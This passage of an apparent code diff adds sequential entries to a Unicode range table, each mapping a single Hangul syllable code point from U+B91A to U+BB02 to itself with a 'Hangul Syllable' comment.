+ ["\uB91A", "\uB91A"], /* Hangul Syllable */
+ ["\uB91B", "\uB91B"], /* Hangul Syllable */
+ ["\uB91C", "\uB91C"], /* Hangul Syllable */
+ ["\uB91D", "\uB91D"], /* Hangul Syllable */
+ ["\uB91E", "\uB91E"], /* Hangul Syllable */
+ ["\uB91F", "\uB91F"], /* Hangul Syllable */
+ ["\uB920", "\uB920"], /* Hangul Syllable */
+ ["\uB921", "\uB921"], /* Hangul Syllable */
+ ["\uB922", "\uB922"], /* Hangul Syllable */
+ ["\uB923", "\uB923"], /* Hangul Syllable */
+ ["\uB924", "\uB924"], /* Hangul Syllable */
+ ["\uB925", "\uB925"], /* Hangul Syllable */
+ ["\uB926", "\uB926"], /* Hangul Syllable */
+ ["\uB927", "\uB927"], /* Hangul Syllable */
+ ["\uB928", "\uB928"], /* Hangul Syllable */
+ ["\uB929", "\uB929"], /* Hangul Syllable */
+ ["\uB92A", "\uB92A"], /* Hangul Syllable */
+ ["\uB92B", "\uB92B"], /* Hangul Syllable */
+ ["\uB92C", "\uB92C"], /* Hangul Syllable */
+ ["\uB92D", "\uB92D"], /* Hangul Syllable */
+ ["\uB92E", "\uB92E"], /* Hangul Syllable */
+ ["\uB92F", "\uB92F"], /* Hangul Syllable */
+ ["\uB930", "\uB930"], /* Hangul Syllable */
+ ["\uB931", "\uB931"], /* Hangul Syllable */
+ ["\uB932", "\uB932"], /* Hangul Syllable */
+ ["\uB933", "\uB933"], /* Hangul Syllable */
+ ["\uB934", "\uB934"], /* Hangul Syllable */
+ ["\uB935", "\uB935"], /* Hangul Syllable */
+ ["\uB936", "\uB936"], /* Hangul Syllable */
+ ["\uB937", "\uB937"], /* Hangul Syllable */
+ ["\uB938", "\uB938"], /* Hangul Syllable */
+ ["\uB939", "\uB939"], /* Hangul Syllable */
+ ["\uB93A", "\uB93A"], /* Hangul Syllable */
+ ["\uB93B", "\uB93B"], /* Hangul Syllable */
+ ["\uB93C", "\uB93C"], /* Hangul Syllable */
+ ["\uB93D", "\uB93D"], /* Hangul Syllable */
+ ["\uB93E", "\uB93E"], /* Hangul Syllable */
+ ["\uB93F", "\uB93F"], /* Hangul Syllable */
+ ["\uB940", "\uB940"], /* Hangul Syllable */
+ ["\uB941", "\uB941"], /* Hangul Syllable */
+ ["\uB942", "\uB942"], /* Hangul Syllable */
+ ["\uB943", "\uB943"], /* Hangul Syllable */
+ ["\uB944", "\uB944"], /* Hangul Syllable */
+ ["\uB945", "\uB945"], /* Hangul Syllable */
+ ["\uB946", "\uB946"], /* Hangul Syllable */
+ ["\uB947", "\uB947"], /* Hangul Syllable */
+ ["\uB948", "\uB948"], /* Hangul Syllable */
+ ["\uB949", "\uB949"], /* Hangul Syllable */
+ ["\uB94A", "\uB94A"], /* Hangul Syllable */
+ ["\uB94B", "\uB94B"], /* Hangul Syllable */
+ ["\uB94C", "\uB94C"], /* Hangul Syllable */
+ ["\uB94D", "\uB94D"], /* Hangul Syllable */
+ ["\uB94E", "\uB94E"], /* Hangul Syllable */
+ ["\uB94F", "\uB94F"], /* Hangul Syllable */
+ ["\uB950", "\uB950"], /* Hangul Syllable */
+ ["\uB951", "\uB951"], /* Hangul Syllable */
+ ["\uB952", "\uB952"], /* Hangul Syllable */
+ ["\uB953", "\uB953"], /* Hangul Syllable */
+ ["\uB954", "\uB954"], /* Hangul Syllable */
+ ["\uB955", "\uB955"], /* Hangul Syllable */
+ ["\uB956", "\uB956"], /* Hangul Syllable */
+ ["\uB957", "\uB957"], /* Hangul Syllable */
+ ["\uB958", "\uB958"], /* Hangul Syllable */
+ ["\uB959", "\uB959"], /* Hangul Syllable */
+ ["\uB95A", "\uB95A"], /* Hangul Syllable */
+ ["\uB95B", "\uB95B"], /* Hangul Syllable */
+ ["\uB95C", "\uB95C"], /* Hangul Syllable */
+ ["\uB95D", "\uB95D"], /* Hangul Syllable */
+ ["\uB95E", "\uB95E"], /* Hangul Syllable */
+ ["\uB95F", "\uB95F"], /* Hangul Syllable */
+ ["\uB960", "\uB960"], /* Hangul Syllable */
+ ["\uB961", "\uB961"], /* Hangul Syllable */
+ ["\uB962", "\uB962"], /* Hangul Syllable */
+ ["\uB963", "\uB963"], /* Hangul Syllable */
+ ["\uB964", "\uB964"], /* Hangul Syllable */
+ ["\uB965", "\uB965"], /* Hangul Syllable */
+ ["\uB966", "\uB966"], /* Hangul Syllable */
+ ["\uB967", "\uB967"], /* Hangul Syllable */
+ ["\uB968", "\uB968"], /* Hangul Syllable */
+ ["\uB969", "\uB969"], /* Hangul Syllable */
+ ["\uB96A", "\uB96A"], /* Hangul Syllable */
+ ["\uB96B", "\uB96B"], /* Hangul Syllable */
+ ["\uB96C", "\uB96C"], /* Hangul Syllable */
+ ["\uB96D", "\uB96D"], /* Hangul Syllable */
+ ["\uB96E", "\uB96E"], /* Hangul Syllable */
+ ["\uB96F", "\uB96F"], /* Hangul Syllable */
+ ["\uB970", "\uB970"], /* Hangul Syllable */
+ ["\uB971", "\uB971"], /* Hangul Syllable */
+ ["\uB972", "\uB972"], /* Hangul Syllable */
+ ["\uB973", "\uB973"], /* Hangul Syllable */
+ ["\uB974", "\uB974"], /* Hangul Syllable */
+ ["\uB975", "\uB975"], /* Hangul Syllable */
+ ["\uB976", "\uB976"], /* Hangul Syllable */
+ ["\uB977", "\uB977"], /* Hangul Syllable */
+ ["\uB978", "\uB978"], /* Hangul Syllable */
+ ["\uB979", "\uB979"], /* Hangul Syllable */
+ ["\uB97A", "\uB97A"], /* Hangul Syllable */
+ ["\uB97B", "\uB97B"], /* Hangul Syllable */
+ ["\uB97C", "\uB97C"], /* Hangul Syllable */
+ ["\uB97D", "\uB97D"], /* Hangul Syllable */
+ ["\uB97E", "\uB97E"], /* Hangul Syllable */
+ ["\uB97F", "\uB97F"], /* Hangul Syllable */
+ ["\uB980", "\uB980"], /* Hangul Syllable */
+ ["\uB981", "\uB981"], /* Hangul Syllable */
+ ["\uB982", "\uB982"], /* Hangul Syllable */
+ ["\uB983", "\uB983"], /* Hangul Syllable */
+ ["\uB984", "\uB984"], /* Hangul Syllable */
+ ["\uB985", "\uB985"], /* Hangul Syllable */
+ ["\uB986", "\uB986"], /* Hangul Syllable */
+ ["\uB987", "\uB987"], /* Hangul Syllable */
+ ["\uB988", "\uB988"], /* Hangul Syllable */
+ ["\uB989", "\uB989"], /* Hangul Syllable */
+ ["\uB98A", "\uB98A"], /* Hangul Syllable */
+ ["\uB98B", "\uB98B"], /* Hangul Syllable */
+ ["\uB98C", "\uB98C"], /* Hangul Syllable */
+ ["\uB98D", "\uB98D"], /* Hangul Syllable */
+ ["\uB98E", "\uB98E"], /* Hangul Syllable */
+ ["\uB98F", "\uB98F"], /* Hangul Syllable */
+ ["\uB990", "\uB990"], /* Hangul Syllable */
+ ["\uB991", "\uB991"], /* Hangul Syllable */
+ ["\uB992", "\uB992"], /* Hangul Syllable */
+ ["\uB993", "\uB993"], /* Hangul Syllable */
+ ["\uB994", "\uB994"], /* Hangul Syllable */
+ ["\uB995", "\uB995"], /* Hangul Syllable */
+ ["\uB996", "\uB996"], /* Hangul Syllable */
+ ["\uB997", "\uB997"], /* Hangul Syllable */
+ ["\uB998", "\uB998"], /* Hangul Syllable */
+ ["\uB999", "\uB999"], /* Hangul Syllable */
+ ["\uB99A", "\uB99A"], /* Hangul Syllable */
+ ["\uB99B", "\uB99B"], /* Hangul Syllable */
+ ["\uB99C", "\uB99C"], /* Hangul Syllable */
+ ["\uB99D", "\uB99D"], /* Hangul Syllable */
+ ["\uB99E", "\uB99E"], /* Hangul Syllable */
+ ["\uB99F", "\uB99F"], /* Hangul Syllable */
+ ["\uB9A0", "\uB9A0"], /* Hangul Syllable */
+ ["\uB9A1", "\uB9A1"], /* Hangul Syllable */
+ ["\uB9A2", "\uB9A2"], /* Hangul Syllable */
+ ["\uB9A3", "\uB9A3"], /* Hangul Syllable */
+ ["\uB9A4", "\uB9A4"], /* Hangul Syllable */
+ ["\uB9A5", "\uB9A5"], /* Hangul Syllable */
+ ["\uB9A6", "\uB9A6"], /* Hangul Syllable */
+ ["\uB9A7", "\uB9A7"], /* Hangul Syllable */
+ ["\uB9A8", "\uB9A8"], /* Hangul Syllable */
+ ["\uB9A9", "\uB9A9"], /* Hangul Syllable */
+ ["\uB9AA", "\uB9AA"], /* Hangul Syllable */
+ ["\uB9AB", "\uB9AB"], /* Hangul Syllable */
+ ["\uB9AC", "\uB9AC"], /* Hangul Syllable */
+ ["\uB9AD", "\uB9AD"], /* Hangul Syllable */
+ ["\uB9AE", "\uB9AE"], /* Hangul Syllable */
+ ["\uB9AF", "\uB9AF"], /* Hangul Syllable */
+ ["\uB9B0", "\uB9B0"], /* Hangul Syllable */
+ ["\uB9B1", "\uB9B1"], /* Hangul Syllable */
+ ["\uB9B2", "\uB9B2"], /* Hangul Syllable */
+ ["\uB9B3", "\uB9B3"], /* Hangul Syllable */
+ ["\uB9B4", "\uB9B4"], /* Hangul Syllable */
+ ["\uB9B5", "\uB9B5"], /* Hangul Syllable */
+ ["\uB9B6", "\uB9B6"], /* Hangul Syllable */
+ ["\uB9B7", "\uB9B7"], /* Hangul Syllable */
+ ["\uB9B8", "\uB9B8"], /* Hangul Syllable */
+ ["\uB9B9", "\uB9B9"], /* Hangul Syllable */
+ ["\uB9BA", "\uB9BA"], /* Hangul Syllable */
+ ["\uB9BB", "\uB9BB"], /* Hangul Syllable */
+ ["\uB9BC", "\uB9BC"], /* Hangul Syllable */
+ ["\uB9BD", "\uB9BD"], /* Hangul Syllable */
+ ["\uB9BE", "\uB9BE"], /* Hangul Syllable */
+ ["\uB9BF", "\uB9BF"], /* Hangul Syllable */
+ ["\uB9C0", "\uB9C0"], /* Hangul Syllable */
+ ["\uB9C1", "\uB9C1"], /* Hangul Syllable */
+ ["\uB9C2", "\uB9C2"], /* Hangul Syllable */
+ ["\uB9C3", "\uB9C3"], /* Hangul Syllable */
+ ["\uB9C4", "\uB9C4"], /* Hangul Syllable */
+ ["\uB9C5", "\uB9C5"], /* Hangul Syllable */
+ ["\uB9C6", "\uB9C6"], /* Hangul Syllable */
+ ["\uB9C7", "\uB9C7"], /* Hangul Syllable */
+ ["\uB9C8", "\uB9C8"], /* Hangul Syllable */
+ ["\uB9C9", "\uB9C9"], /* Hangul Syllable */
+ ["\uB9CA", "\uB9CA"], /* Hangul Syllable */
+ ["\uB9CB", "\uB9CB"], /* Hangul Syllable */
+ ["\uB9CC", "\uB9CC"], /* Hangul Syllable */
+ ["\uB9CD", "\uB9CD"], /* Hangul Syllable */
+ ["\uB9CE", "\uB9CE"], /* Hangul Syllable */
+ ["\uB9CF", "\uB9CF"], /* Hangul Syllable */
+ ["\uB9D0", "\uB9D0"], /* Hangul Syllable */
+ ["\uB9D1", "\uB9D1"], /* Hangul Syllable */
+ ["\uB9D2", "\uB9D2"], /* Hangul Syllable */
+ ["\uB9D3", "\uB9D3"], /* Hangul Syllable */
+ ["\uB9D4", "\uB9D4"], /* Hangul Syllable */
+ ["\uB9D5", "\uB9D5"], /* Hangul Syllable */
+ ["\uB9D6", "\uB9D6"], /* Hangul Syllable */
+ ["\uB9D7", "\uB9D7"], /* Hangul Syllable */
+ ["\uB9D8", "\uB9D8"], /* Hangul Syllable */
+ ["\uB9D9", "\uB9D9"], /* Hangul Syllable */
+ ["\uB9DA", "\uB9DA"], /* Hangul Syllable */
+ ["\uB9DB", "\uB9DB"], /* Hangul Syllable */
+ ["\uB9DC", "\uB9DC"], /* Hangul Syllable */
+ ["\uB9DD", "\uB9DD"], /* Hangul Syllable */
+ ["\uB9DE", "\uB9DE"], /* Hangul Syllable */
+ ["\uB9DF", "\uB9DF"], /* Hangul Syllable */
+ ["\uB9E0", "\uB9E0"], /* Hangul Syllable */
+ ["\uB9E1", "\uB9E1"], /* Hangul Syllable */
+ ["\uB9E2", "\uB9E2"], /* Hangul Syllable */
+ ["\uB9E3", "\uB9E3"], /* Hangul Syllable */
+ ["\uB9E4", "\uB9E4"], /* Hangul Syllable */
+ ["\uB9E5", "\uB9E5"], /* Hangul Syllable */
+ ["\uB9E6", "\uB9E6"], /* Hangul Syllable */
+ ["\uB9E7", "\uB9E7"], /* Hangul Syllable */
+ ["\uB9E8", "\uB9E8"], /* Hangul Syllable */
+ ["\uB9E9", "\uB9E9"], /* Hangul Syllable */
+ ["\uB9EA", "\uB9EA"], /* Hangul Syllable */
+ ["\uB9EB", "\uB9EB"], /* Hangul Syllable */
+ ["\uB9EC", "\uB9EC"], /* Hangul Syllable */
+ ["\uB9ED", "\uB9ED"], /* Hangul Syllable */
+ ["\uB9EE", "\uB9EE"], /* Hangul Syllable */
+ ["\uB9EF", "\uB9EF"], /* Hangul Syllable */
+ ["\uB9F0", "\uB9F0"], /* Hangul Syllable */
+ ["\uB9F1", "\uB9F1"], /* Hangul Syllable */
+ ["\uB9F2", "\uB9F2"], /* Hangul Syllable */
+ ["\uB9F3", "\uB9F3"], /* Hangul Syllable */
+ ["\uB9F4", "\uB9F4"], /* Hangul Syllable */
+ ["\uB9F5", "\uB9F5"], /* Hangul Syllable */
+ ["\uB9F6", "\uB9F6"], /* Hangul Syllable */
+ ["\uB9F7", "\uB9F7"], /* Hangul Syllable */
+ ["\uB9F8", "\uB9F8"], /* Hangul Syllable */
+ ["\uB9F9", "\uB9F9"], /* Hangul Syllable */
+ ["\uB9FA", "\uB9FA"], /* Hangul Syllable */
+ ["\uB9FB", "\uB9FB"], /* Hangul Syllable */
+ ["\uB9FC", "\uB9FC"], /* Hangul Syllable */
+ ["\uB9FD", "\uB9FD"], /* Hangul Syllable */
+ ["\uB9FE", "\uB9FE"], /* Hangul Syllable */
+ ["\uB9FF", "\uB9FF"], /* Hangul Syllable */
+ ["\uBA00", "\uBA00"], /* Hangul Syllable */
+ ["\uBA01", "\uBA01"], /* Hangul Syllable */
+ ["\uBA02", "\uBA02"], /* Hangul Syllable */
+ ["\uBA03", "\uBA03"], /* Hangul Syllable */
+ ["\uBA04", "\uBA04"], /* Hangul Syllable */
+ ["\uBA05", "\uBA05"], /* Hangul Syllable */
+ ["\uBA06", "\uBA06"], /* Hangul Syllable */
+ ["\uBA07", "\uBA07"], /* Hangul Syllable */
+ ["\uBA08", "\uBA08"], /* Hangul Syllable */
+ ["\uBA09", "\uBA09"], /* Hangul Syllable */
+ ["\uBA0A", "\uBA0A"], /* Hangul Syllable */
+ ["\uBA0B", "\uBA0B"], /* Hangul Syllable */
+ ["\uBA0C", "\uBA0C"], /* Hangul Syllable */
+ ["\uBA0D", "\uBA0D"], /* Hangul Syllable */
+ ["\uBA0E", "\uBA0E"], /* Hangul Syllable */
+ ["\uBA0F", "\uBA0F"], /* Hangul Syllable */
+ ["\uBA10", "\uBA10"], /* Hangul Syllable */
+ ["\uBA11", "\uBA11"], /* Hangul Syllable */
+ ["\uBA12", "\uBA12"], /* Hangul Syllable */
+ ["\uBA13", "\uBA13"], /* Hangul Syllable */
+ ["\uBA14", "\uBA14"], /* Hangul Syllable */
+ ["\uBA15", "\uBA15"], /* Hangul Syllable */
+ ["\uBA16", "\uBA16"], /* Hangul Syllable */
+ ["\uBA17", "\uBA17"], /* Hangul Syllable */
+ ["\uBA18", "\uBA18"], /* Hangul Syllable */
+ ["\uBA19", "\uBA19"], /* Hangul Syllable */
+ ["\uBA1A", "\uBA1A"], /* Hangul Syllable */
+ ["\uBA1B", "\uBA1B"], /* Hangul Syllable */
+ ["\uBA1C", "\uBA1C"], /* Hangul Syllable */
+ ["\uBA1D", "\uBA1D"], /* Hangul Syllable */
+ ["\uBA1E", "\uBA1E"], /* Hangul Syllable */
+ ["\uBA1F", "\uBA1F"], /* Hangul Syllable */
+ ["\uBA20", "\uBA20"], /* Hangul Syllable */
+ ["\uBA21", "\uBA21"], /* Hangul Syllable */
+ ["\uBA22", "\uBA22"], /* Hangul Syllable */
+ ["\uBA23", "\uBA23"], /* Hangul Syllable */
+ ["\uBA24", "\uBA24"], /* Hangul Syllable */
+ ["\uBA25", "\uBA25"], /* Hangul Syllable */
+ ["\uBA26", "\uBA26"], /* Hangul Syllable */
+ ["\uBA27", "\uBA27"], /* Hangul Syllable */
+ ["\uBA28", "\uBA28"], /* Hangul Syllable */
+ ["\uBA29", "\uBA29"], /* Hangul Syllable */
+ ["\uBA2A", "\uBA2A"], /* Hangul Syllable */
+ ["\uBA2B", "\uBA2B"], /* Hangul Syllable */
+ ["\uBA2C", "\uBA2C"], /* Hangul Syllable */
+ ["\uBA2D", "\uBA2D"], /* Hangul Syllable */
+ ["\uBA2E", "\uBA2E"], /* Hangul Syllable */
+ ["\uBA2F", "\uBA2F"], /* Hangul Syllable */
+ ["\uBA30", "\uBA30"], /* Hangul Syllable */
+ ["\uBA31", "\uBA31"], /* Hangul Syllable */
+ ["\uBA32", "\uBA32"], /* Hangul Syllable */
+ ["\uBA33", "\uBA33"], /* Hangul Syllable */
+ ["\uBA34", "\uBA34"], /* Hangul Syllable */
+ ["\uBA35", "\uBA35"], /* Hangul Syllable */
+ ["\uBA36", "\uBA36"], /* Hangul Syllable */
+ ["\uBA37", "\uBA37"], /* Hangul Syllable */
+ ["\uBA38", "\uBA38"], /* Hangul Syllable */
+ ["\uBA39", "\uBA39"], /* Hangul Syllable */
+ ["\uBA3A", "\uBA3A"], /* Hangul Syllable */
+ ["\uBA3B", "\uBA3B"], /* Hangul Syllable */
+ ["\uBA3C", "\uBA3C"], /* Hangul Syllable */
+ ["\uBA3D", "\uBA3D"], /* Hangul Syllable */
+ ["\uBA3E", "\uBA3E"], /* Hangul Syllable */
+ ["\uBA3F", "\uBA3F"], /* Hangul Syllable */
+ ["\uBA40", "\uBA40"], /* Hangul Syllable */
+ ["\uBA41", "\uBA41"], /* Hangul Syllable */
+ ["\uBA42", "\uBA42"], /* Hangul Syllable */
+ ["\uBA43", "\uBA43"], /* Hangul Syllable */
+ ["\uBA44", "\uBA44"], /* Hangul Syllable */
+ ["\uBA45", "\uBA45"], /* Hangul Syllable */
+ ["\uBA46", "\uBA46"], /* Hangul Syllable */
+ ["\uBA47", "\uBA47"], /* Hangul Syllable */
+ ["\uBA48", "\uBA48"], /* Hangul Syllable */
+ ["\uBA49", "\uBA49"], /* Hangul Syllable */
+ ["\uBA4A", "\uBA4A"], /* Hangul Syllable */
+ ["\uBA4B", "\uBA4B"], /* Hangul Syllable */
+ ["\uBA4C", "\uBA4C"], /* Hangul Syllable */
+ ["\uBA4D", "\uBA4D"], /* Hangul Syllable */
+ ["\uBA4E", "\uBA4E"], /* Hangul Syllable */
+ ["\uBA4F", "\uBA4F"], /* Hangul Syllable */
+ ["\uBA50", "\uBA50"], /* Hangul Syllable */
+ ["\uBA51", "\uBA51"], /* Hangul Syllable */
+ ["\uBA52", "\uBA52"], /* Hangul Syllable */
+ ["\uBA53", "\uBA53"], /* Hangul Syllable */
+ ["\uBA54", "\uBA54"], /* Hangul Syllable */
+ ["\uBA55", "\uBA55"], /* Hangul Syllable */
+ ["\uBA56", "\uBA56"], /* Hangul Syllable */
+ ["\uBA57", "\uBA57"], /* Hangul Syllable */
+ ["\uBA58", "\uBA58"], /* Hangul Syllable */
+ ["\uBA59", "\uBA59"], /* Hangul Syllable */
+ ["\uBA5A", "\uBA5A"], /* Hangul Syllable */
+ ["\uBA5B", "\uBA5B"], /* Hangul Syllable */
+ ["\uBA5C", "\uBA5C"], /* Hangul Syllable */
+ ["\uBA5D", "\uBA5D"], /* Hangul Syllable */
+ ["\uBA5E", "\uBA5E"], /* Hangul Syllable */
+ ["\uBA5F", "\uBA5F"], /* Hangul Syllable */
+ ["\uBA60", "\uBA60"], /* Hangul Syllable */
+ ["\uBA61", "\uBA61"], /* Hangul Syllable */
+ ["\uBA62", "\uBA62"], /* Hangul Syllable */
+ ["\uBA63", "\uBA63"], /* Hangul Syllable */
+ ["\uBA64", "\uBA64"], /* Hangul Syllable */
+ ["\uBA65", "\uBA65"], /* Hangul Syllable */
+ ["\uBA66", "\uBA66"], /* Hangul Syllable */
+ ["\uBA67", "\uBA67"], /* Hangul Syllable */
+ ["\uBA68", "\uBA68"], /* Hangul Syllable */
+ ["\uBA69", "\uBA69"], /* Hangul Syllable */
+ ["\uBA6A", "\uBA6A"], /* Hangul Syllable */
+ ["\uBA6B", "\uBA6B"], /* Hangul Syllable */
+ ["\uBA6C", "\uBA6C"], /* Hangul Syllable */
+ ["\uBA6D", "\uBA6D"], /* Hangul Syllable */
+ ["\uBA6E", "\uBA6E"], /* Hangul Syllable */
+ ["\uBA6F", "\uBA6F"], /* Hangul Syllable */
+ ["\uBA70", "\uBA70"], /* Hangul Syllable */
+ ["\uBA71", "\uBA71"], /* Hangul Syllable */
+ ["\uBA72", "\uBA72"], /* Hangul Syllable */
+ ["\uBA73", "\uBA73"], /* Hangul Syllable */
+ ["\uBA74", "\uBA74"], /* Hangul Syllable */
+ ["\uBA75", "\uBA75"], /* Hangul Syllable */
+ ["\uBA76", "\uBA76"], /* Hangul Syllable */
+ ["\uBA77", "\uBA77"], /* Hangul Syllable */
+ ["\uBA78", "\uBA78"], /* Hangul Syllable */
+ ["\uBA79", "\uBA79"], /* Hangul Syllable */
+ ["\uBA7A", "\uBA7A"], /* Hangul Syllable */
+ ["\uBA7B", "\uBA7B"], /* Hangul Syllable */
+ ["\uBA7C", "\uBA7C"], /* Hangul Syllable */
+ ["\uBA7D", "\uBA7D"], /* Hangul Syllable */
+ ["\uBA7E", "\uBA7E"], /* Hangul Syllable */
+ ["\uBA7F", "\uBA7F"], /* Hangul Syllable */
+ ["\uBA80", "\uBA80"], /* Hangul Syllable */
+ ["\uBA81", "\uBA81"], /* Hangul Syllable */
+ ["\uBA82", "\uBA82"], /* Hangul Syllable */
+ ["\uBA83", "\uBA83"], /* Hangul Syllable */
+ ["\uBA84", "\uBA84"], /* Hangul Syllable */
+ ["\uBA85", "\uBA85"], /* Hangul Syllable */
+ ["\uBA86", "\uBA86"], /* Hangul Syllable */
+ ["\uBA87", "\uBA87"], /* Hangul Syllable */
+ ["\uBA88", "\uBA88"], /* Hangul Syllable */
+ ["\uBA89", "\uBA89"], /* Hangul Syllable */
+ ["\uBA8A", "\uBA8A"], /* Hangul Syllable */
+ ["\uBA8B", "\uBA8B"], /* Hangul Syllable */
+ ["\uBA8C", "\uBA8C"], /* Hangul Syllable */
+ ["\uBA8D", "\uBA8D"], /* Hangul Syllable */
+ ["\uBA8E", "\uBA8E"], /* Hangul Syllable */
+ ["\uBA8F", "\uBA8F"], /* Hangul Syllable */
+ ["\uBA90", "\uBA90"], /* Hangul Syllable */
+ ["\uBA91", "\uBA91"], /* Hangul Syllable */
+ ["\uBA92", "\uBA92"], /* Hangul Syllable */
+ ["\uBA93", "\uBA93"], /* Hangul Syllable */
+ ["\uBA94", "\uBA94"], /* Hangul Syllable */
+ ["\uBA95", "\uBA95"], /* Hangul Syllable */
+ ["\uBA96", "\uBA96"], /* Hangul Syllable */
+ ["\uBA97", "\uBA97"], /* Hangul Syllable */
+ ["\uBA98", "\uBA98"], /* Hangul Syllable */
+ ["\uBA99", "\uBA99"], /* Hangul Syllable */
+ ["\uBA9A", "\uBA9A"], /* Hangul Syllable */
+ ["\uBA9B", "\uBA9B"], /* Hangul Syllable */
+ ["\uBA9C", "\uBA9C"], /* Hangul Syllable */
+ ["\uBA9D", "\uBA9D"], /* Hangul Syllable */
+ ["\uBA9E", "\uBA9E"], /* Hangul Syllable */
+ ["\uBA9F", "\uBA9F"], /* Hangul Syllable */
+ ["\uBAA0", "\uBAA0"], /* Hangul Syllable */
+ ["\uBAA1", "\uBAA1"], /* Hangul Syllable */
+ ["\uBAA2", "\uBAA2"], /* Hangul Syllable */
+ ["\uBAA3", "\uBAA3"], /* Hangul Syllable */
+ ["\uBAA4", "\uBAA4"], /* Hangul Syllable */
+ ["\uBAA5", "\uBAA5"], /* Hangul Syllable */
+ ["\uBAA6", "\uBAA6"], /* Hangul Syllable */
+ ["\uBAA7", "\uBAA7"], /* Hangul Syllable */
+ ["\uBAA8", "\uBAA8"], /* Hangul Syllable */
+ ["\uBAA9", "\uBAA9"], /* Hangul Syllable */
+ ["\uBAAA", "\uBAAA"], /* Hangul Syllable */
+ ["\uBAAB", "\uBAAB"], /* Hangul Syllable */
+ ["\uBAAC", "\uBAAC"], /* Hangul Syllable */
+ ["\uBAAD", "\uBAAD"], /* Hangul Syllable */
+ ["\uBAAE", "\uBAAE"], /* Hangul Syllable */
+ ["\uBAAF", "\uBAAF"], /* Hangul Syllable */
+ ["\uBAB0", "\uBAB0"], /* Hangul Syllable */
+ ["\uBAB1", "\uBAB1"], /* Hangul Syllable */
+ ["\uBAB2", "\uBAB2"], /* Hangul Syllable */
+ ["\uBAB3", "\uBAB3"], /* Hangul Syllable */
+ ["\uBAB4", "\uBAB4"], /* Hangul Syllable */
+ ["\uBAB5", "\uBAB5"], /* Hangul Syllable */
+ ["\uBAB6", "\uBAB6"], /* Hangul Syllable */
+ ["\uBAB7", "\uBAB7"], /* Hangul Syllable */
+ ["\uBAB8", "\uBAB8"], /* Hangul Syllable */
+ ["\uBAB9", "\uBAB9"], /* Hangul Syllable */
+ ["\uBABA", "\uBABA"], /* Hangul Syllable */
+ ["\uBABB", "\uBABB"], /* Hangul Syllable */
+ ["\uBABC", "\uBABC"], /* Hangul Syllable */
+ ["\uBABD", "\uBABD"], /* Hangul Syllable */
+ ["\uBABE", "\uBABE"], /* Hangul Syllable */
+ ["\uBABF", "\uBABF"], /* Hangul Syllable */
+ ["\uBAC0", "\uBAC0"], /* Hangul Syllable */
+ ["\uBAC1", "\uBAC1"], /* Hangul Syllable */
+ ["\uBAC2", "\uBAC2"], /* Hangul Syllable */
+ ["\uBAC3", "\uBAC3"], /* Hangul Syllable */
+ ["\uBAC4", "\uBAC4"], /* Hangul Syllable */
+ ["\uBAC5", "\uBAC5"], /* Hangul Syllable */
+ ["\uBAC6", "\uBAC6"], /* Hangul Syllable */
+ ["\uBAC7", "\uBAC7"], /* Hangul Syllable */
+ ["\uBAC8", "\uBAC8"], /* Hangul Syllable */
+ ["\uBAC9", "\uBAC9"], /* Hangul Syllable */
+ ["\uBACA", "\uBACA"], /* Hangul Syllable */
+ ["\uBACB", "\uBACB"], /* Hangul Syllable */
+ ["\uBACC", "\uBACC"], /* Hangul Syllable */
+ ["\uBACD", "\uBACD"], /* Hangul Syllable */
+ ["\uBACE", "\uBACE"], /* Hangul Syllable */
+ ["\uBACF", "\uBACF"], /* Hangul Syllable */
+ ["\uBAD0", "\uBAD0"], /* Hangul Syllable */
+ ["\uBAD1", "\uBAD1"], /* Hangul Syllable */
+ ["\uBAD2", "\uBAD2"], /* Hangul Syllable */
+ ["\uBAD3", "\uBAD3"], /* Hangul Syllable */
+ ["\uBAD4", "\uBAD4"], /* Hangul Syllable */
+ ["\uBAD5", "\uBAD5"], /* Hangul Syllable */
+ ["\uBAD6", "\uBAD6"], /* Hangul Syllable */
+ ["\uBAD7", "\uBAD7"], /* Hangul Syllable */
+ ["\uBAD8", "\uBAD8"], /* Hangul Syllable */
+ ["\uBAD9", "\uBAD9"], /* Hangul Syllable */
+ ["\uBADA", "\uBADA"], /* Hangul Syllable */
+ ["\uBADB", "\uBADB"], /* Hangul Syllable */
+ ["\uBADC", "\uBADC"], /* Hangul Syllable */
+ ["\uBADD", "\uBADD"], /* Hangul Syllable */
+ ["\uBADE", "\uBADE"], /* Hangul Syllable */
+ ["\uBADF", "\uBADF"], /* Hangul Syllable */
+ ["\uBAE0", "\uBAE0"], /* Hangul Syllable */
+ ["\uBAE1", "\uBAE1"], /* Hangul Syllable */
+ ["\uBAE2", "\uBAE2"], /* Hangul Syllable */
+ ["\uBAE3", "\uBAE3"], /* Hangul Syllable */
+ ["\uBAE4", "\uBAE4"], /* Hangul Syllable */
+ ["\uBAE5", "\uBAE5"], /* Hangul Syllable */
+ ["\uBAE6", "\uBAE6"], /* Hangul Syllable */
+ ["\uBAE7", "\uBAE7"], /* Hangul Syllable */
+ ["\uBAE8", "\uBAE8"], /* Hangul Syllable */
+ ["\uBAE9", "\uBAE9"], /* Hangul Syllable */
+ ["\uBAEA", "\uBAEA"], /* Hangul Syllable */
+ ["\uBAEB", "\uBAEB"], /* Hangul Syllable */
+ ["\uBAEC", "\uBAEC"], /* Hangul Syllable */
+ ["\uBAED", "\uBAED"], /* Hangul Syllable */
+ ["\uBAEE", "\uBAEE"], /* Hangul Syllable */
+ ["\uBAEF", "\uBAEF"], /* Hangul Syllable */
+ ["\uBAF0", "\uBAF0"], /* Hangul Syllable */
+ ["\uBAF1", "\uBAF1"], /* Hangul Syllable */
+ ["\uBAF2", "\uBAF2"], /* Hangul Syllable */
+ ["\uBAF3", "\uBAF3"], /* Hangul Syllable */
+ ["\uBAF4", "\uBAF4"], /* Hangul Syllable */
+ ["\uBAF5", "\uBAF5"], /* Hangul Syllable */
+ ["\uBAF6", "\uBAF6"], /* Hangul Syllable */
+ ["\uBAF7", "\uBAF7"], /* Hangul Syllable */
+ ["\uBAF8", "\uBAF8"], /* Hangul Syllable */
+ ["\uBAF9", "\uBAF9"], /* Hangul Syllable */
+ ["\uBAFA", "\uBAFA"], /* Hangul Syllable */
+ ["\uBAFB", "\uBAFB"], /* Hangul Syllable */
+ ["\uBAFC", "\uBAFC"], /* Hangul Syllable */
+ ["\uBAFD", "\uBAFD"], /* Hangul Syllable */
+ ["\uBAFE", "\uBAFE"], /* Hangul Syllable */
+ ["\uBAFF", "\uBAFF"], /* Hangul Syllable */
+ ["\uBB00", "\uBB00"], /* Hangul Syllable */
+ ["\uBB01", "\uBB01"], /* Hangul Syllable */
+ ["\uBB02", "\uBB02"], /* Hangul Syllable */
